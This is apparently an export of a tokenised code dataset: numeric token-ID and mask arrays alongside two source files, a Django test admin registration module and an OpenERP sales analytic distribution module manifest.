15, 19404, 2385, 9, 272, 2331, 26, 257, 19893, 402, 282, 2059, 334, 509, 11847, 379, 15, 19404, 2385, 9, 272, 3164, 26, 11581, 402, 314, 1004, 14, 221, 437, 6318, 1059, 12, 2839, 283, 556, 993, 7, 367, 8992, 14, 221, 4879, 12, 1779, 9195, 4117, 911, 5554, 642, 315, 367, 1265, 5847, 340, 2701, 14, 819, 6601, 2863, 15725, 12, 4066, 465, 7030, 6609, 14, 6760, 379, 12, 787, 2808, 26, 272, 18609, 272, 11847, 379, 272, 18947, 272, 294, 2000, 63, 18533, 272, 294, 2000, 63, 6760, 379, 272, 294, 2000, 63, 19404, 523, 408, 819, 327, 644, 1466, 83, 523, 4221, 568, 275, 413, 523, 4221, 13884, 275, 499, 819, 327, 510, 4823, 523, 327, 3666, 265, 12, 2331, 9, 6346, 12, 465, 3032, 370, 7030, 16372, 14, 1123, 3049, 9, 523, 20479, 275, 334, 17, 12, 378, 9, 523, 577, 8100, 1149, 275, 334, 24, 12, 841, 9, 523, 15854, 52, 1149, 275, 334, 18, 12, 841, 9, 819, 347, 636, 826, 721, 277, 12, 3462, 12, 641, 12, 2331, 12, 3164, 29, 403, 304, 272, 408, 11493, 282, 7030, 6609, 14, 221, 1666, 1021, 9214, 367, 2436, 641, 1249, 1041, 272, 291, 14, 2063, 275, 3462, 272, 291, 14, 265, 275, 641, 272, 291, 14, 1997, 275, 2331, 272, 291, 14, 2326, 275, 3164, 421, 199, 3049, 6609, 14, 18533, 221, 275, 7030, 6609, 8, 17, 12, 413, 12, 378, 9, 199, 3049, 6609, 14, 6760, 379, 275, 7030, 6609, 8, 17, 12, 1695, 12, 841, 9, 199, 3049, 6609, 14, 19404, 275, 7030, 6609, 8, 17, 12, 499, 12, 841, 9, 199, 3049, 6609, 14, 273, 2000, 63, 18533, 221, 275, 7030, 6609, 8, 18, 12, 413, 12, 378, 9, 199, 3049, 6609, 14, 273, 2000, 63, 6760, 379, 275, 7030, 6609, 8, 18, 12, 1695, 12, 841, 9, 199, 3049, 6609, 14, 273, 2000, 63, 19404, 275, 7030, 6609, 8, 18, 12, 499, 12, 841, 9, 421, 199, 533, 7030, 16372, 8, 2330, 14, 1563, 16372, 304, 819, 408, 18089, 282, 1004, 10943, 1041, 819, 347, 636, 826, 721, 277, 12, 4501, 29, 403, 304, 272, 1613, 8, 3049, 16372, 12, 291, 2843, 826, 4533, 272, 340, 4501, 365, 440, 488, 26, 489, 291, 14, 1123, 3049, 8, 3438, 9, 819, 347, 2654, 3049, 8, 277, 12, 4501, 12, 1768, 29, 403, 12, 3164, 29, 403, 12, 1598, 3851, 29, 3049, 6609, 14, 15096, 998, 12, 3462, 29, 3049, 6609, 14, 2080, 568, 12, 14327, 29, 403, 304, 272, 408, 1123, 282, 892, 1004, 370, 314, 10943, 14, 339, 961, 365, 282, 16777, 1083, 1314, 21638, 314, 3918, 9641, 436, 1145, 3198, 652, 272, 367, 1265, 14, 221, 2779, 2529, 314, 892, 6779, 14, 2541, 4501, 26, 221, 3820, 402, 11960, 1183, 13, 2638, 68, 612, 13, 1459, 367, 314, 1004, 489, 1768, 26, 257, 2812, 402, 314, 1004, 334, 2972, 367, 314, 15906, 9, 489, 3164, 26, 257, 28333, 1059, 12, 2839, 283, 556, 993, 7, 367, 8992, 489, 3851, 26, 11634, 367, 334, 1267, 402, 8135, 12, 2582, 402, 16301, 680, 221, 284, 14, 69, 14, 2049, 7030, 6609, 14, 29019, 1149, 489, 3462, 26, 257, 644, 1466, 402, 314, 1004, 334, 73, 14, 69, 14, 7030, 6609, 14, 2080, 568, 9, 489, 14327, 26, 3820, 402, 26903, 2251, 370, 6554, 370, 642, 1004, 334, 3239, 3918, 9641, 2049, 367, 1655, 2256, 9, 272, 408, 272, 340, 3164, 365, 440, 488, 436, 1228, 8, 2326, 59, 16, 467, 2863, 14, 12825, 304, 489, 3598, 14, 4050, 360, 14398, 1233, 1443, 506, 10529, 1, 283, 490, 283, 5556, 3032, 282, 769, 402, 7173, 1192, 3140, 402, 282, 3164, 14, 710, 283, 490, 283, 1753, 1423, 1865, 334, 16835, 2544, 3164, 9, 365, 5906, 3130, 490, 13413, 12, 13232, 29, 18, 9, 272, 3449, 275, 7030, 6609, 8, 2063, 12, 3851, 59, 16, 467, 3851, 59, 17, 467, 3164, 29, 2326, 9, 272, 6779, 275, 2863, 14, 1451, 9641, 8, 3438, 12, 1768, 29, 1302, 12, 3449, 29, 2487, 12, 3044, 14327, 29, 16835, 9, 272, 291, 14, 576, 14, 740, 8, 5602, 9, 272, 372, 6779, 819, 347, 2654, 9641, 8, 277, 12, 4501, 12, 3164, 29, 403, 12, 3449, 29, 3049, 6609, 14, 18533, 12, 14327, 29, 403, 12, 355, 1768, 29, 403, 304, 272, 408, 25832, 624, 272, 3598, 14, 4050, 360, 3049, 16372, 14, 1123, 9641, 365, 5906, 14, 221, 6523, 2654, 3049, 3140, 14, 1656, 2116, 13413, 12, 13232, 29, 18, 9, 272, 372, 291, 14, 1123, 3049, 8, 3438, 12, 3164, 29, 2326, 12, 3462, 29, 2487, 14, 2063, 12, 717, 3851, 2687, 2487, 14, 265, 12, 3449, 14, 1997, 395, 14327, 29, 16835, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
leeon/annotated-django
tests/admin_widgets/widgetadmin.py
68
1222
from django.contrib import admin from . import models class WidgetAdmin(admin.AdminSite): pass class CarAdmin(admin.ModelAdmin): list_display = ['make', 'model', 'owner'] list_editable = ['owner'] class CarTireAdmin(admin.ModelAdmin): def formfield_for_foreignkey(self, db_field, request, **kwargs): if db_field.name == "car": kwargs["queryset"] = models.Car.objects.filter(owner=request.user) return db_field.formfield(**kwargs) return super(CarTireAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs) class EventAdmin(admin.ModelAdmin): raw_id_fields = ['main_band', 'supporting_bands'] class SchoolAdmin(admin.ModelAdmin): filter_vertical = ('students',) filter_horizontal = ('alumni',) site = WidgetAdmin(name='widget-admin') site.register(models.User) site.register(models.Car, CarAdmin) site.register(models.CarTire, CarTireAdmin) site.register(models.Member) site.register(models.Band) site.register(models.Event, EventAdmin) site.register(models.Album) site.register(models.Inventory) site.register(models.Bee) site.register(models.Advisor) site.register(models.School, SchoolAdmin) site.register(models.Profile)
bsd-3-clause
[ 504, 1639, 14, 2828, 492, 4628, 199, 199, 504, 1275, 492, 1709, 421, 199, 533, 16905, 4880, 8, 2113, 14, 4880, 8972, 304, 272, 986, 421, 199, 533, 14243, 4880, 8, 2113, 14, 12976, 304, 272, 769, 63, 2918, 275, 788, 1875, 297, 283, 1238, 297, 283, 4597, 418, 272, 769, 63, 10820, 275, 788, 4597, 418, 421, 199, 533, 14243, 52, 3621, 4880, 8, 2113, 14, 12976, 304, 272, 347, 21388, 63, 509, 63, 11766, 8, 277, 12, 1592, 63, 698, 12, 1056, 12, 1011, 958, 304, 267, 340, 1592, 63, 698, 14, 354, 508, 298, 7007, 582, 288, 2074, 905, 7924, 937, 275, 1709, 14, 16034, 14, 1462, 14, 1541, 8, 4597, 29, 1069, 14, 751, 9, 288, 372, 1592, 63, 698, 14, 20015, 3682, 958, 9, 267, 372, 1613, 8, 16034, 52, 3621, 4880, 12, 291, 680, 20015, 63, 509, 63, 11766, 8, 697, 63, 698, 12, 1056, 12, 1011, 958, 9, 421, 199, 533, 6763, 4880, 8, 2113, 14, 12976, 304, 272, 3066, 63, 344, 63, 955, 275, 788, 973, 63, 7877, 297, 283, 4058, 316, 63, 23086, 418, 421, 199, 533, 428, 15089, 4880, 8, 2113, 14, 12976, 304, 272, 2457, 63, 7870, 275, 661, 17921, 9538, 272, 2457, 63, 11392, 275, 661, 279, 1307, 73, 9538, 199, 199, 2124, 275, 16905, 4880, 8, 354, 534, 3440, 13, 2113, 358, 199, 199, 2124, 14, 2683, 8, 992, 14, 1899, 9, 199, 2124, 14, 2683, 8, 992, 14, 16034, 12, 14243, 4880, 9, 199, 2124, 14, 2683, 8, 992, 14, 16034, 52, 3621, 12, 14243, 52, 3621, 4880, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 7021, 9, 199, 2124, 14, 2683, 8, 992, 14, 11675, 9, 199, 2124, 14, 2683, 8, 992, 14, 2390, 12, 6763, 4880, 9, 199, 2124, 14, 2683, 8, 992, 14, 26369, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 19304, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 34, 1024, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 2767, 8286, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 51, 15089, 12, 428, 15089, 4880, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 5736, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 2828, 492, 4628, 199, 199, 504, 1275, 492, 1709, 421, 199, 533, 16905, 4880, 8, 2113, 14, 4880, 8972, 304, 272, 986, 421, 199, 533, 14243, 4880, 8, 2113, 14, 12976, 304, 272, 769, 63, 2918, 275, 788, 1875, 297, 283, 1238, 297, 283, 4597, 418, 272, 769, 63, 10820, 275, 788, 4597, 418, 421, 199, 533, 14243, 52, 3621, 4880, 8, 2113, 14, 12976, 304, 272, 347, 21388, 63, 509, 63, 11766, 8, 277, 12, 1592, 63, 698, 12, 1056, 12, 1011, 958, 304, 267, 340, 1592, 63, 698, 14, 354, 508, 298, 7007, 582, 288, 2074, 905, 7924, 937, 275, 1709, 14, 16034, 14, 1462, 14, 1541, 8, 4597, 29, 1069, 14, 751, 9, 288, 372, 1592, 63, 698, 14, 20015, 3682, 958, 9, 267, 372, 1613, 8, 16034, 52, 3621, 4880, 12, 291, 680, 20015, 63, 509, 63, 11766, 8, 697, 63, 698, 12, 1056, 12, 1011, 958, 9, 421, 199, 533, 6763, 4880, 8, 2113, 14, 12976, 304, 272, 3066, 63, 344, 63, 955, 275, 788, 973, 63, 7877, 297, 283, 4058, 316, 63, 23086, 418, 421, 199, 533, 428, 15089, 4880, 8, 2113, 14, 12976, 304, 272, 2457, 63, 7870, 275, 661, 17921, 9538, 272, 2457, 63, 11392, 275, 661, 279, 1307, 73, 9538, 199, 199, 2124, 275, 16905, 4880, 8, 354, 534, 3440, 13, 2113, 358, 199, 199, 2124, 14, 2683, 8, 992, 14, 1899, 9, 199, 2124, 14, 2683, 8, 992, 14, 16034, 12, 14243, 4880, 9, 199, 2124, 14, 2683, 8, 992, 14, 16034, 52, 3621, 12, 14243, 52, 3621, 4880, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 7021, 9, 199, 2124, 14, 2683, 8, 992, 14, 11675, 9, 199, 2124, 14, 2683, 8, 992, 14, 2390, 12, 6763, 4880, 9, 199, 2124, 14, 2683, 8, 992, 14, 26369, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 19304, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 34, 1024, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 2767, 8286, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 51, 15089, 12, 428, 15089, 4880, 9, 199, 199, 2124, 14, 2683, 8, 992, 14, 5736, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dkodnik/Ant
addons/sale_analytic_plans/__openerp__.py
119
1718
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Sales Analytic Distribution', 'version': '1.0', 'category': 'Sales Management', 'description': """ The base module to manage analytic distribution and sales orders. ================================================================= Using this module you will be able to link analytic accounts to sales orders. """, 'author': 'OpenERP SA', 'website': 'http://www.openerp.com', 'images': ['images/sale_order_analytic_account.jpeg', 'images/sales_order_line.jpeg'], 'depends': ['sale', 'account_analytic_plans'], 'data': ['sale_analytic_plans_view.xml'], 'demo': [], 'installable': True, 'auto_install': False, } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 91, 272, 283, 354, 356, 283, 18220, 14279, 764, 11839, 297, 272, 283, 1023, 356, 283, 17, 14, 16, 297, 272, 283, 3710, 356, 283, 18220, 8259, 297, 272, 283, 1802, 356, 408, 199, 1918, 1300, 859, 370, 9635, 20705, 4084, 436, 21702, 15460, 14, 199, 5695, 29, 199, 199, 10369, 642, 859, 1265, 911, 506, 7688, 370, 2142, 20705, 12639, 370, 21702, 15460, 14, 272, 10327, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 7360, 356, 283, 1014, 921, 1544, 14, 11267, 14, 957, 297, 272, 283, 4782, 356, 788, 4782, 15, 8515, 63, 1648, 63, 9782, 63, 2048, 14, 14230, 297, 283, 4782, 15, 16175, 63, 1648, 63, 604, 14, 14230, 995, 272, 283, 8912, 356, 788, 8515, 297, 283, 2048, 63, 9782, 63, 1168, 796, 995, 272, 283, 576, 356, 788, 8515, 63, 9782, 63, 1168, 796, 63, 1345, 14, 1652, 995, 272, 283, 8768, 356, 990, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 199, 93, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 